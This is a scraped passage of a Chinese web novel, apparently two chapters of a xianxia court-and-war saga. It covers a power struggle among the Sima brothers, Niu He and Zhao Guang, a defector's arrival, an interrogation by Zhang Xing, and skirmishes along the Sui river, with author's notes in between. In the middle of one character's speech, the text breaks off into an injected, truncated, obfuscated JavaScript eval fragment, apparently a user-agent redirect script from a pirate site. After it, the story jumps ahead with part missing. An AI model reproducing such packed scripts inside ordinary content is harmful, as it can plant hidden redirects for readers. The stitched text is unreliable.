司马进达闻言,不顾自己被破了相,乃是片刻不停,直接招呼部属,外加自己兵分两路,分别往城外与仓城而去。 城外那路不提,右仆射司马进达抵达仓城的时候,麦季才已经被埋伏在此的元礼正等将给困在仓城外城墙内的一处狭小缝隙中,更有知世郎王厚亲自着铁甲披大红披风,持刀自仓城内率众主动来夹攻。 但司马进达根本不做理会,直接披头散发,拎着一把剑从空中腾跃过去,然后当空来喊:“牛督公!牛督公何在?如今军中都说,是你勾结赵光,意图阻挠全军归东都,是也不是?!” 这话问到第二遍,将要落在屋顶的时候,司马进达忽然觉得脚下一沉,整个人从屋顶上陷落,带着砖瓦木料被拽进了另一间房内。 待到狼狈起身,正见到牛督公冷冷来看自己,身后则是十数名内侍持棍棒而立。 遭了宗师的手段,司马进达没有丝毫胆怯,反而径直挺剑呵斥:“牛督公,今日事情到了这个地步,都是你的缘故!大家本欲归乡,你身为唯一宗师,为何反而带头作乱?!” “咱们有言在先,虽是结伴而行,我只负责宫闱安全,然后互不干涉,结果你们却将乱事引入此间,我尚未问罪,如何反而说我作乱?”牛河冷冷反问。 “国家有乱,大家一起飘零在外,内有逆贼,外有强敌,你身为中枢唯一宗师,不助丞相维系人心,便等同作乱!”司马进达大声呵斥不停。“今日事,你觉得你受了惊扰,却是我等既要应付反贼,又要提防你……这般作为如何能让我等视你为自己人?” 牛督公丝毫不慌:“休要强言虚恫,你只说是不是要毁约了?” “放屁的毁约!”司马进达双目赤红,俨然失态。“为你一人,我等反复妥协,空耗心力,你却始终暧昧!牛河,你今日必须要说清楚,你到底是要从我们,还是从赵光那些贼厮?” “我若从你们如何?从赵光又如何?”牛督公终于也怒了,长生真气在屋内凭空出现凝结,宛若形成了一条碗口粗的青色巨**,然后隔空自动,绕着对方盘旋起来。 司马进达临宗师之威,始终挺剑不惧:“若是从我们,现在就要遵丞相令,即刻诛杀赵光!这厮如今碎丹,肆无忌惮杀戮军中兄弟城中百姓,一刻也等不得!而若是要与他共死,我们杀了赵光再来杀你!拼却几位将官与几百个甲士性命,耗尽了你真气,总能让你无法立足!” 牛河听到一半便已经被气笑,因为他已经知道对方打什么主意了。 且说,赵光都已经碎丹了,他难道还有得选?现在去助一个必死之人?或者说,大家都在一条船上,他难道要坐视一个碎丹的疯子肆意屠戮军士? 可若是这般去阻止赵光,却也相当于顺水推舟认了从司马氏的说法。 不过,这似乎不是司马进达的法子,而是司马化达的风格……司马进达这幅样子,明显是挨了打,吃了亏,心中激愤,才对自己这个本可以阻止他吃亏的人展露了激烈之态。 一念至此,牛河反而冷静了下来。 平心而论,牛督公不是一个善于权谋**的人,也不是一个权欲旺盛的人,不然以他在内侍中独树一帜的修为,即便是日常随从御驾出行,那把控北衙内部也轻而易举,如何有什么高江、王焯、余威等公公依次分权乃至于擅权北衙? 但是这不代表牛督公是个对此一窍不通的人……便是一窍不通,经历了这么多人这么多事,也该通了六七窍了……这种人最起码知道什么叫做认清形势,不然哪来的之前江都城内明哲保身。 现在的局面是,主导整个迁徙队伍的,依然是禁军,而禁军中占据了绝对**优势的乃是司马兄弟。至于赵光,这只大鹏鸟试图替皇帝报仇的想法本身就很可笑……别人不知道,他牛河难道不知道吗?要论报仇,这天下不知道多少人都要恨皇帝死的太轻松了。 更不要说,赵光已经碎丹,何必让他继续痛苦下去,同时来造杀孽呢? “我随你去。”牛督公忽然笑了笑,青色大**随之消失。 司马进达一愣,手中长剑也去了真气,反而有些慌张。 “但我跟你去,不是要向你大兄俯首称臣……若平安到东都,见了司马二郎,届时向司马氏低头未必不可,至于你大兄,他早年做先帝侍卫,我们算是几十年相识,如何不晓得,他这人只晓得嗅上闻下,争权夺利,偏偏没有一丁点光明正大的东西,司马七郎,你自己说,如此之人,如何能成大事呢?”牛河言辞恳切。“今日之行,只是赵光碎丹求死,不想让他伤及无辜罢了。” 司马进达闻言,居然有些尴尬:“是小子今日孟浪。” 牛河摇摇头:“堂堂右仆射,何谈小子?” 说着,便卷着对方飞向屋顶,来到外面,牛河指向仓城门外方向战场,刚要询问,孰料,司马进达忽然先低声来问:“牛督公,我大兄府上的那个妃嫔是怎么回事?” 牛督公也明显一愣,然后低声摇头:“我不知道……这个恐怕要问元礼正了,昨日之前我领着诸内侍只在城外河上,并不与陛下、太皇太后、后宫、文武百官在一处。” 司马进达点点头,复又摇头,直接给出对方未问出口那问题的答复:“不用管这里,麦季才是个庸才,留我在此便可,只要督公出手处置一个金翅大鹏!” 牛督公点头,下一刻其人直接消失在了仓城屋顶,而司马进达留在原地微雨中,一时心下茫然,稍后回过神来,却不着急参战,反而干脆将长剑插在屋檐上,然后坐在瓦片上,盯着战场,将自己的乱发盘起。 仓城这里,司马进达稍得喘息,徐州城正中央,司马化达已经被逼到一定份上,因为外面援军尚未到场,而那只大鹏鸟却在自己最疯狂的时候得到了助力——他结义兄弟钱英在从小路扑空了总管府后,又晓得了自家兄弟已经碎丹的情况下,居然毫不犹豫选择折返回来,自中央大街北侧率众来援! 且说,钱英其人之所以被当做一个**锏,正是因为他是江都几年苦捱中少有的凝丹之人,却因为彼时局势,刻意做了隐瞒。 故此,此时此人突然杀来,众人也不以为意,只一个之前被赵光撞飞的凝丹郎将来迎。 结果,钱英施展离火真气,挥舞着一柄长刀而来,远远望去,只像是挥舞着一个火炬一般,却还是让那郎将起了三分凝重之态。而临到跟前,其人离火真气突然绽放,宛若当空燃起一团街面宽的火云,与此同时,他整个人腾空跃起,从真气中劈杀出来,好像从火团中飞出一般,骇得那郎将在身前身后惊呼声中本能卷起全身的弱水真气来抵挡! 离火对弱水,前者看起来盛大,但因为相生相克与双方修为,居然也只是斗了个旗鼓相当。 只是苦了周遭士兵,被火燎到的还只是外伤,可被两股真气直接交叠撞到的,却只觉得自己浑身剧痛,偏偏又失了行动力,只能狼狈在地上翻滚哀嚎。 而就在那鹰扬郎将觉得自己逃过一劫的片刻,后背却陡然剧烈一痛,继而整个人被什么东西撕扯着飞向空中! 司马化达等人目瞪口呆,亲眼目睹了一位凝丹郎将在周围军阵援兵俱全的情况下,被赵光突袭得手,就在半空中用那三尖两刃撕开了半个脊背,然后却又当空砸下! 一时间血水混合着雨水,纷纷而落。 而那凝丹郎将到底是凝丹层面,落得这个下场只是被突袭得手,丹田未损,护体真气依照本能激发反而护住要害内脏,砸落之后,居然还在哀嚎! 这可是正经登堂**的禁军高层,在这么一场结局注定的战斗中落得这个下场,在场其余禁军高层几乎人人兔死狐悲。 而司马德克见状,更是目眦欲裂,亲自挥刀杀出,试图不等援军先把赵光这个疯子给拦下。 司马德克既出,军阵当即失效,赵行密心下大惊,喊住其余几个想要跟随的将领,便要匆匆以自家为基地重建真气军阵。 但赵光等的就是这个时候! 心有默契的钱英不顾一切,脱离部队腾跃起来,直接迎上老牌成丹司马德克。 而赵光这只金翅大鹏在空中打了个呼哨,毫不犹豫飞向了司马化达……正当面的令狐行咬牙挥刀迎上,却被对方宛若扇动翅膀一般,直接从空中用真气拂开……见此形状,司马化达也毫不犹豫,转身拼却全身真气就要逃窜。 但其人速度如何能与摩云金翅大鹏相比,只是一瞬间,刚刚当了一天丞相的司马化达便听到了身后的风声,只觉得全身血都凉了。 不过,也就是如此了,其人狼狈落地,回头去看,惊讶发现,那只大鹏鸟忽然便侧身悬停在了一处屋檐上。 当然,这是他酒色掏空了身子,修为虚撑着,看不清楚的缘故,赵行密等人就看的清楚,那是一道忽然出现的长生真气在赵光借力的屋檐上缠住了那只大鹏鸟的一只脚。 “牛河!”赵光双目通红,挥舞三尖两刃钩枪,之前无坚不摧的真气扫到屋檐上却像是扫到了金铁一般,然后几乎是哀嚎一般来喝问。“你不助我倒也罢了,如何能助司马化达?你不知道他要将陛下与太皇太后送给黜龙贼吗?” 周围空气似乎凝固了片刻,但这只是假象……大多数受伤士卒还在哀嚎,所有人都在喘粗气,微雨还在细细洒落,只不过,从高手的真气运动层面而言,这一刻确实维持了某种静态。 但也就是片刻罢了,司马化达反应过来,当场怒吼:“牛督公,今日事,不过从我从他罢了!你还在疑虑什么?!” 似乎是这句话道明了形势,真切起到了威胁作用,下一刻,盘着赵光左脚的那条长生真气忽然极速暴涨,不过数息,便长成了一条碗口粗的**蛇,而**蛇也绕着这只金翅大鹏迅速游走起来。双方真气遇到一起,很难说长生真气便直接起到了压制作用,但也不用如此,因为赵光的辉光真气同样不能割破牛督公的长生真气,而后者化作的**蛇却游走不停,几乎是瞬间变将赵光整个人完全捆缚起来。 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然后,却又在当场静候,乃是要看一看那些城外的将领都分别什么时候过来,然后面对这幅场景对自己又是何等姿态? 然而,片刻后,第一个赶到的援军,却有些出乎他的意料。 “丞相!”身材粗矮却披着一个大红氅的王厚不顾街上尚在负隅顽抗的赵光旧部,径直打马穿越战场而来,还不忘远远大声呼喊。“丞相何在?” 说着,来到有些发懵的司马化达跟前,却又直接翻身下马,径直在雨水碎砖中跪拜:“丞相可受了伤?!俺听到贼人要来杀你,赶紧来救驾!可实在是对不住,当面贼人杀散了就来,还是有些晚了,不曾出得几分力!请丞相责罚!” 司马化达张口欲言,但还是止住,然后也不让对方起来,只正色来问:“仓城那里是麦季才?” “听下面人说举的旗子是个‘麦’,但俺不晓得是谁。”王厚有一说一。 “已经被处置了?”司马化达点点头,继续来问。 “本来就抵挡不住俺们夹击,等七将军站出来以后,领头的就**了,七将军跟之前管事的元将军一起在那边受降,俺忧心丞相,直接来了。”王厚继续来言。 “如此,事情还算妥当。”司马化达终于满意,复又招呼对方。“起来吧,王将军,今日你有功无过!日后好好做事,我司马化达不会亏待你的!” 王厚只是谢恩。 “元礼正,我问你一句话。”仓城那里,司马进达将血淋淋的首级掷到地上,却依旧拎着剑回头来对身侧之人。 “右仆射请讲。”元礼正一面诧异一面紧张起来,也握住了兵器。 “我大兄那里有个先帝嫔妃,你知道原委吗?” “我知道。”听到这里,元礼正不由一松。“之前入徐州城,我护送宫中入城,丞相便看到了这位,觉得入眼,但没有什么多余吩咐,昨日不是要移交后宫防卫吗?丞相专门做了言语,让我送过去的……右仆射什么意思?觉得不妥当?” 司马进达闭目良久,任由雨水洗脸,半晌方才来对:“不要随着他的性子来,不然到了东都,二郎那里要发怒的。” “不是不行,但丞相若发怒,还要右仆射替我们遮挡。”元礼正似笑非笑。“你们自家的事情,我们够不到的,只眼下来说,到东都之前却还是丞相做主。” 司马进达只是摆手。 就这样,从清晨开始折腾,到了中午之前,随着赵光身上最后一股真气逸散,这只大鹏鸟死于当场。 而赵光一死,牛督公便径直离去。 司马化达以下,数不清的人立在残破的街道上,看了半日,方才由这位丞相开口:“麦季才**?” “是。”司马进达彻底恢复了冷静,言辞干脆。 “钱英呢?” “也**。”这次是赵行密做答。 “三个人悬首示众,这些随从逆贼也悬首示众。”司马丞相狞笑以对。“魏敦既不能及时来信,又不能告知钱英的修为,无功有过,罚为队将,其部为元礼正所领。” 张虔达、令狐行、王厚等人纷纷喊好,元礼正更是直接下拜谢恩。 赵行密微微皱眉,去看司马进达,后者只是不吭声。 “还有什么?”司马化达主动来问。 “蒋将军后背一侧肋骨全被扯开,内脏护不得许久,只让我们不要扔下他。”司马德克喘着粗气来对。 “当然不能扔下他,让陛下让出御撵,来盛放蒋将军……其实只要不是逆贼,咱们一个人都不能拉下。”司马化达微微抬眉。“至于说他的部属,他是左仆射下属,左仆射点人来领兵便是。” 司马德克一愣,赶紧拱手,乃是当众俯首:“属下替小蒋谢过丞相。” “谁还有什么事?“司马化达见到自己权威到底是立起来了,也有些恹恹,似乎着急回去喝酒。“没有的话大家散了,继续收拾行装,还是后日照常出发!如今万事妥当,只防着黜龙贼大军,便可轻松归家!” 不管在场许多人有什么想法,闻得此言,也都各自一振,一起称喏。 旋即,这位司马丞相便在前呼后拥中回有些狼藉的总管府宴饮去了,依旧只留着自家七弟与司马德克、赵行密等人来做事后处置。 而人一走,司马德克也去看那小蒋将军,细雨中赵行密先来寻司马进达:“你大兄何时凝丹?” “我也不知道。”司马进达似乎同样在意这个问题。“他要是之前便是,这些年一直懒散不用,尚且无妨,我只怕他是素来懒散,一直没有凝丹,结果杀了曹彻,做了这个丞相,掌了权,忽然一振,反而凝丹……这样的话,他怕是要更加肆无忌惮起来,我就不好劝了。” “你晓得这个就好。”赵行密无奈。“你晓得就好。” 两人随即无言……有些话没法说出来,他们现在最怕的就是去了一个曹彻,再来一个曹彻。 赵行密还好,只要赶紧动身,走完这段路就行,司马进达更无力,因为他还要面对到达东都后,司马氏内部的纷争,所以他打心眼里对司马化达掌权后的不妥行为警惕至极。 但两人偏偏都有一种无力感,因为司马化达在**上太容易压制两人,更不要说,刚刚司马丞相就已经说了,明日便可出发。在这种情况下,根本没精力在再做多余之想。 就这样,四月廿四日,晴,得到讯息的禁军三路兵马按照约定一起启动,其中吐万长论在西侧继续沿着淮水进军,而主力兵团自徐州出城向西南方向追吐万军后背,也顺着淮水进军,至于鱼皆罗,则正式开始渡淮水。 这个进军路线,是司马进达和赵行密一力推动的,本质上是就要避开从黜龙帮腹地行军,逆淮水往淮西而去的路线,以求进入安全区,避免大战的意思。而司马化达也在二人坚持下选择了认可。 事到如今,似乎真如司马丞相那日徐州城内所言,内患已除,外面只要警惕着防止大战发生,就可以从容回到东都,再开事业。 然而,大军发动当日,连城内兵马都没有完全出城呢,点验各部的司马德克就发现了一件奇怪的事情,乃是居然少了一位鹰扬郎将。而稍一问询,便迅速查明——原来,鹰扬郎将白有宾在赵光部属被处死当天夜间便只率十五骑弃众而走,其部属多念其父子恩德,佯作不知,糊弄了一日到此。 算算时间,若是去投黜龙贼,怕是已经见到张行了也说不定。 PS:感谢ibird老爷的上盟!感激不尽! 各种事端中居然靠晚饭后的时间凑了一章,抢在2023年来发,也祝大家新年愉快,万事如意,人人发大财! 然后继续请假,我这正经事情还没办呢。 第十九章风雨行(19) 当细雨下起来以后,窦小娘又一次明显察觉到淮北地区跟河北地区的气候差异……虽然都是平原,都是河网纵横,但夏日渐渐升高的温度以及稳中有增的降水量还有空气湿度还是让她以及下属队伍中的河北骑士感觉到了明显的不适。 没办法,身为游骑,不能像成建制大部队那样在城池、营寨中躲避,反而要整日载着蓑衣,一边出汗一边淋雨,只在野地中往来不停。 尤其是这种不知道该不该披蓑衣的细雨,那就更加难熬。 无奈之下的窦小娘只能用自己的离火真气来做烘烤,让自己身体躲避潮湿罢了,至于其下属没这个修为的也就没有这个好运气了,数日内颇有几人被迫减员,转去后方休整轮换去了。 这种情况下,窦小娘只能想到张首席那日在黎阳的言语,却觉得果然是要人人筑基,才是正途。 不过,回到眼前,这一趟差事是也算是要结束了,可以暂时歇一歇,因为窦小娘之前路上得到消息,张首席居然就在眼前的砀山,此番行程的主导谢总管直接做主掉头,这也省的她带着人继续穿州越郡了。 来到砀山,窦小娘立即发觉,此地竟已经变成了一个大军营,只是看山谷内的旗帜与口音便晓得,最少十五六个营已经抵达,而且应该还在汇集中,俨然是要借着砀山那特殊的两侧山形包裹、宛如城池一般的结构,在这里屯驻大军……这种地形,再加上初夏雨水、雾气渐多,遮蔽炊烟,那只要没有敌人直接摸进来,最多就是说晓得这里有驻军罢了。 而如此局面,加上前线的十几个营,尽管窦小娘不晓得全貌,但也意识到,黜龙帮是真的做好打大仗准备的。 只是不知道小苏借着他老师的名头做了个头领,有没有来?来了又有没有因为算是个外来户被人欺负? “这里有贵军多少个营?” 巡骑队伍中,最兴奋的居然不是黜龙帮的人,而是一名衣着明显与黜龙帮众人有差异的年青军官,其人连甲胄都无,却穿着一件锦衣戎装,挂着赤色印绶、金色印囊,戴着雕花武士小冠,配着一柄金银嵌丝柄的长剑,而且一直在释放着护体真气以保护衣物不被雨水侵袭……很明显,这就是一个大魏高级武官,而且出身高贵。 而这一点直接导致了巡骑队伍对此人的排斥,哪怕是此人上来便说了,他是来投降的,谢鸣鹤谢总管也认可了此人的投降与价值,并亲自掉头来迎,也还是无法改变巡骑们态度。 譬如现在,就根本没人理会他,连平素还算认真的窦小娘都似乎在神游天外,这让此人振奋之余复又有些紧张起来。 不过,也不是没人懂他,队伍最前面的谢鸣鹤就晓得,此人这身衣服不是在显耀,而是在求生……这个唤做白有宾的降人,现在最怕的就是黜龙帮或者淮右盟的人不分青红皂白直接把他给扑杀了……想想也是,便是凝丹修为在身,一时不死,可身处敌境,雨水绵绵,一旦受伤,怕是也没有好果子吃,所以才用这种方式把身份给亮出来。…. 然而,理解归理解,谢鸣鹤却同样没有理会对方……原因很简单,一则,此人结果如何到底要让张首席来定夺,没有说法之前不好泄露军情;二则,谢总管绕了一大圈才回来,虽从各处晓得了一些情形,但此地此时有多少兵,他自己都不知道。 但也就是如此了,沉闷中,游骑早迎到张首席带来的大行台文书,做了交接,便自行撤退,而谢鸣鹤则在出迎的几位大头领、头领带领下转到了那芒砀山砀山一侧主峰上,也就是那宛若峭壁上的聚义堂。 来到那几乎伸出峭壁的巨大“义”字旗前,堂内里许多人知道是谢鸣鹤谢总管来了,自是蜂拥而出来做迎接,只不见张行几人罢了。谢鸣鹤的性情摆在那里,也不在意,与李定等人稍微一拱手后,便随雄伯南、徐世英等许多熟人一边说笑一边转入堂上,却正见到张行立在堂中,然后伸手握住座中一人,在那里奇奇怪怪的说话,被握住那人则明显紧张,汗水沁满额头,时不时还回头看身后身材高大的秦宝……谢总管见怪不怪,也不吭声,而是径直上去寻了个座位来看。 倒是白有宾,见到李定时便愈加振奋起来;而一瞥之下又看到徐世英那长的过头的佩剑,复又心惊;好不容易按下许多心思,待来到堂上,看到里面情形,又不由紧张……虽有人指了个座位,也不敢落座的,直到其他人都随意坐了,不好显眼,这才坐下,可还是认真盯着中间拽着人手的那位,竖起耳朵来寻些有用信息。 “老赵,你晓得规矩,不要东张西望,我来问,你来答,可否?”这个时候,张行握住身前人的手,寒冰真气已经缓缓放出。 对方一面颔首一面也战战兢兢使出来通红的离火真气与对方在手上相持。 “江湖上不是说你去了东夷吗?到底去了吗?去了又何时回来的?”张行好奇来问。 “确实去了,一月前才回来。”那人勉力来答。 “为何回来?” “知道张三爷成了大事,想借着当日芒砀山上的香火情求个出身……” 这话太假了,真要找自己,为何不去河北?于是张行一声不吭,手上寒冰真气加速涌出,而秦宝也在身后按住了此人肩膀。 真气一上来,那人立即改口更正:“真有投奔张三爷的意思,但我也知道,当日在这左近跟张三爷、秦二爷闹得有些不开心,所以一直下定不了决心,只今日才来,是因为晓得杜破阵杜盟主丢了淮西又做了徐州局面……想着他手下可能缺人,能容我这个旧日淮上往来的人,这才过来。” 张行失笑:“如此说来,你是觉得我不能容人了?” 那人满头大汗,偏偏手上真气不敢断,又不敢主动发力,只能胡乱来对:“是觉得自己不是做大事的料,怕坏了张三爷的局面,那就罪过大了。”…. “那你就不怕坏了老杜的局面?” “坏了那也就坏了。”此人尴尬以对。“反正杜盟主现在连番丢了基业,也没什么局面……” 这就是彻底的胡言乱语了,莫说周围大头领和头领们,连白有宾都笑了,只是不知道笑的是此人,还是总想保持独立,却被连番打击的杜破阵。 “为什么来芒砀山?” “是想在这里寻些旧关系,本来想找那位通臂大圣王振王大头领的,结果走到登州却晓得他出了海,又听人说范厨子虽做了头领,但还是很照看当年芒砀山上的兄弟,就往此间来……”说着,此人还忍不住看了眼面色发黑的范六厨,后者只是面无表情。 “为什么是此时回来?”张行点点头继续来问,却似乎问了个重复的问题。 “因为知道杜盟主丢了淮西去了徐州。”那人也继续重复答案,却明显有些不安起来,手上真气也有些不稳,话刚说完便被寒冰真气逼上了双臂。 其**惊,赶紧发力,却只觉得对方真气如海如渊,根本半分推不动,反而是自己双臂之上两股真气交锋处的酸麻感在稳稳往上走,也是愈发大骇。 须知道,他自诩与张行、秦宝、杜破阵有旧,却不来寻前者,只找后者,本就是因为当日在这芒砀山与涣水之间的一场恩怨中与前二者有怨无恩,反倒是后者,当日并无多少利害牵连。 再加上此时此情,自己被当做奸细擒拿,人家又是已经横跨数十州郡的大行台,**也就是真的**。 想到这里,其人终于无奈承认:“是东夷人……我当日狼狈逃到东夷,待了几年,少许钱财全都用光,只能给东夷贵人做门客,是东夷大都督的属下找到我,带我见了那个大都督,他告诉我这边出了个机会,问我有没有心思回淮北来,找杜盟主做个出身……” “你是东夷奸细?”张行若有所思。 “如何算是东夷奸细?”那人终于崩溃。“我自是淮上厮混了半辈子的中原人,名声、经历都在这里,如今晓得机会来了,自然便迫不及待回来。至于东夷人,他既有这份说法,最多也就是留一份说法,除非他东夷人能真打到徐州来,而且是占尽了优势,否则如何算是奸细?还请大行台明断,给我赵兴川一个活路!” 张行点点头:“我若不给你活路,早就杀你了……怎么可能不给你活路?” 那人,也就是当日这聚义堂中一起饮酒,事后逃出去的赵兴川了,闻言大喜,不顾已经到肩膀上的寒冰真气,努力来应:“若是如此,只请张三爷吩咐!” “先别急,我再问你一件事,当日这堂上,楼老大**,韩老大是陈凌的人,秦宝、范六与我都在此地,你则去了东夷,那周老大呢?当日堂中他自称周乙,明显是化名,却不晓得是个什么来路?”张行见状也不再计较,只问了自己想问的事情。…. “张三爷不知道吗?”赵兴川一时惊愕,但真气已经快逼到脖颈上,哪里还顾得许多,直接给出了结果。“周乙是登州人,这条确不是假的,只是后来入了真火教罢了……你去问问你们自家的大头领程大郎,便能知晓他根底!至于眼下去了何处,是南是北,是东是西,我就不知道了……” 张行点点头,不置可否,便继续来问:“你既得了东夷人说法来此地,愿不愿意得我的一个说法,去西北走一遭呢?” 饶是赵兴川早有各种心理准备,此时也有些发懵:“西北……哪里?” “西北,陈凌在西北做了个割据的小局面,怕是巴不得有有本事的江淮故人去寻他,好在当地腾挪。”张行循循善诱。“况且,我也不是让你做奸细,按照你自家说法,我给你一个说法,你也就留一份说法,除非我大兵压境打到西北去,而且是占尽了优势,否则便是你自家在西北张罗事业……如何?” 赵兴川只觉得两臂全无知觉,连脖子都冷起来了,只是赶紧应声:“全听张三爷的!” 张行这才松了手,却又招呼了范六厨:“你且带他歇息,明日我还要回一趟白马,顺路带他过去河北一遭。” 赵兴川恢复了知觉,狼狈起身,复又弯腰咳嗽了两声,这才跟范厨子一起离开。 人一走,周围气氛稍作缓和,张行也向谢鸣鹤打了招呼,然后也与秦宝各自坐下,而刚一落座,之前当仁不让坐了次位的李定就皱眉来问:“将此人送去西北有用吗?这人明显不老实,只是时势如此,稍作屈从罢了。” “怕他泄露信息,随手而为。”张行坦诚以对。“这个局面,总不能让他往南去?” “这个局面南面还打的起来吗?”雄伯南忽然插嘴。“按照情报,江都禁军果真是按照我们的劝,顺着淮水走了。” 这个话题一开,众人议论纷纷,白有宾立即便想言语,但话到嘴边却又咽了下去,乃是他忽然回过神来,还是应该先看看这些黜龙帮高层的战争意愿再开口……真要是人家上下一致不准备打,自己却先摆出立场强行煽动战争,怕是要被打杀了当诚意的。这个世道,先活下来再说。 果然,白有宾仔细听了一二,很快就听明白了一些东西,那就是这聚义堂上的人多数还是想打的,但似乎之前早有讨论和决定,乃是除非禁军主动侵略,否则就不会大动干戈……所以都以为这一仗怕是真要打不来了,以至于有些遗憾和无奈。 唯一值得注意的是,那位理论上算自己妹夫的张首席似乎对这个讨论并无多少注意,反而有些出神。 “说这些没什么用。”最后,是明显沉稳,或者说更像是放松了许多的徐世英出言中止了讨论。“他便是真打不起来,咱们也要做好防备的……”…. 说着,看向了张行,俨然是要尊重这位首席,请后者开口。 “不错。”孰料,李定先行看着张行开口。“所以我还是要去一趟前面,亲眼看看各处地形……真要打起来,再做准备不免仓促,而想要计划得心应手,一百个斥候都比不过亲眼去看看战场。” “这是自然。”张行也回过神来,正色应声道。“让天王随你去,以防万一。而且,你跟我、徐大郎、单大郎,离开大军时,最好不要在一起;到前线又脱离大军时,连任意三人都不要轻易**。” 白有宾在军中厮混多年,几乎立即会意,天王是雄伯南,这是最高武力不说,而其余四个人,应该就是负责打大战的统帅人选了,最起码是有部分主力调配权的大将。 而这其中,其余人倒也罢了,什么徐大郎和单大郎他也知道是谁,唯独一个李定,这才刚刚投降,居然就有这个指挥权,却有些让人惊愕了。 李定、雄伯南各自颔首不提,徐世英干脆主动来问自己想问的:“首席要回白马?” “不止是白马,济阴、荥阳、黎阳、将陵,都速速走一遭,看看后勤,查看下北面防务。”张行有一说一。 徐大郎等高层也会意,集中兵力来淮北是必然,但也必须要防备河北与东都,实际上,黜龙帮除了被迫留下陈斌、魏玄定、窦立德这些重要成员在河北外,还被迫留下了相当数量的防护兵力,以作防备与战略欺骗……但这还是不稳当,所以,张行此番北上,白马、济阴是查看后勤,后面几个地方就是故意露面,震慑河间军与东都,甚至不大可能触碰黜龙帮的晋地兵马了。 “这位是白有宾,禁军鹰扬郎将……其父白横俊死在了江都军变之时。”谢鸣鹤终于开口,指向了白有宾。“此番专门来投。” 众人听到其人姓名与其父姓名,不由神态各异。 而白有宾情知到了关键时候,立即起身团团拱手,然后正色做了解释:“张首席,诸位黜龙帮的好汉,在下此来不是为了什么求报父仇……曹彻丧尽人心,自寻死路,我父子念在大魏俸禄恩情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞常南面无表情走过来,当众拱手一礼,言辞干脆:“首席,恕在下直言,白将军其实也觉得该打,能打!而且比谁都想打!只不过,人逢巨变,多有逆旧成新之态……譬如我之前性情还算内敛沉静,江都剧变后多觉得自己之前迂腐不堪一般,白将军平素性格冲动,江都剧变之后,小心翼翼也是寻常。” 张行点点头,复又来看白有宾:“果真如此吗?” 白有宾长叹了一口气,再度行礼:“诚如虞舍人所言,杀父之仇,焉能轻弃?只是在下晓得,当下局面非在下一人可动摇,强要多言,怕只会违逆了诸位黜龙帮豪杰,惹来不满。” “既如此,你也请坐,此战能不能交战且不说,但必要做好万全准备,就请你与虞文书留在这里一起为此战做个参详。”张行抬手示意。“若真要作战,两位须有奇效。” 白有宾心中大定,再三行礼,回到座中。 而虞常南却昂然来问:“首席,我与白将军的情报既可以相互补充,也能相互印证,不知道首席自家可有判断,这一仗可打的起来?” “判断称不上。”张行思索一二,给出答复。“不过,我确实觉得,这一仗怕还是要打的多一些……因为司马化达控制不住禁军,也控制不住自己,禁军自己也控制不住自己。” 不止一旁李定一愣、虞常南沉思、白有宾一喜,在场之人其实多有反应,但俨然大多数人都已经习惯张首席,却只是有几人潦草点头罢了。 事实证明,张行那套玄虚说法还是有些道理的……四月廿六日,这边张行刚刚动身往归白马,那边禁军刚刚离开徐州城,下午时分,淮北一线便出现了一场切实的战斗。…. 必须要说明,这场战斗没有任何预谋,不是刘黑榥这种主战者刻意深入淮水一线发动袭击,也不是单通海得到张行密令私下发动的系统性攻击,而是一支禁军确实出现在了黜龙帮一线防区范围内,与黜龙军发生了冲突。 具体的地点是徐州城西侧数十里的磐石山下小镇内,位于睢水北侧。 很显然,禁军这支部队并不觉得自己在挑衅或者如何,他们作为禁军主力大部队西北面的侧卫加后卫,冒雨走了一日,因为沿途城镇的雨具多被前方其他侧卫部队给夺取,使得他们理所当然盯上了睢水对岸的城镇,并在下午时分来到一座浮桥后,由一名队将自作主张带着一队人渡河去对面那座看起来就很繁华的商业小集镇“取”雨具,另一队人随即跟上。 对此,正在这个集镇旁边磐石山后方驻扎的黜龙帮头领尚怀恩没有任何犹豫就下令发动了反扑,这位被认为是张首席嫡系心腹却素来战绩不佳的头领迫不及待想证明自己是一回事,对方越过睢水进行劫掠的行为也足够让他理直气壮……尽管没有任何明文约定的界限,可被单通海直接指定到此地的尚怀恩有充足的理由认为自己防区是包括这座小镇的。 不过,战斗结果对尚怀**说例行有些丢脸,过程也挺丑陋的。 黜龙帮出动了大半个营,一千四五百人,大约十来个队,却因为尚怀恩贪图战果,下令两侧分兵绕行包围,使得各部队行动脱节,也给了原本在劫掠的禁军重新集结起来的时间,以至于黜龙军以多打少居然不能迅速吃下这越界的两队禁军。 非只如此,尚怀恩下令负责截断退路浮桥的,也只有一队人,反而被对岸的援军迅速渡河,冲破了桥头,硬生生将被包住的两队人给接应走了不少。 仗打成这样,得亏这支禁军缺乏骑兵,也没有凝丹高手坐镇,否则怕是要让黜龙军闹大笑话的。 这一战本身只能算是所谓摩擦,只要双方高级将领还有理智,就都不会以此为根据就如何如何,但战斗过程与结果在军中自行传开,原本其实有些紧张的禁军自然是士气大振,不由开始轻视黜龙军,而最前线的黜龙军各营也多愤然,深以为耻。 据说刘黑榥当场就骂了娘,单通海稍晚得知具体战况,更是直接遣使呵斥,而且这只是上面的领兵头领们的反应,下面的军士、军官同样会愤怒与傲慢起来。 而这些变化,很轻易的就导致了类似的摩擦数量迅速增长。 于是很快,双方开始互有胜负,开始有人主动越界进行挑衅性战斗或者针对性破袭……没办法,这就是战争的混沌,两只数万人的庞大军队在渐渐漫延起来的数十里、乃至于百里长的战线上,不用说根本没法做到令行禁止,甚至战场气氛的转变也都由各种复杂因素综合推动,以至于显得千奇百怪。 总而言之,到了四月廿九日那天下午,当休整回来的窦小娘回到前线时,迎头就在睢水北岸遭遇了一场非针对性伏击,以至于有些手足无措。 彼时细雨正绵绵。 PS:**晚上回来的,抱歉。 39314698. ... 第二十章风雨行(20) 已经展现出梅雨征兆的细雨中,睢水北岸的一处树林内,战斗忽然就开始了。 平心而论,窦小娘虽然天赋异禀,人生经历也算丰富,但单纯的军事经验还是有些不足,尤其是缺乏正经的战场带队经验。故此,猝然遭遇伏击之下,眼瞅着身前直接有人被**矢攒射**,这名年轻的巡骑队长不免惊骇,只是连番呼喊本队数十骑带上伤员撤离,却又亲自持长剑反扑向前断后。 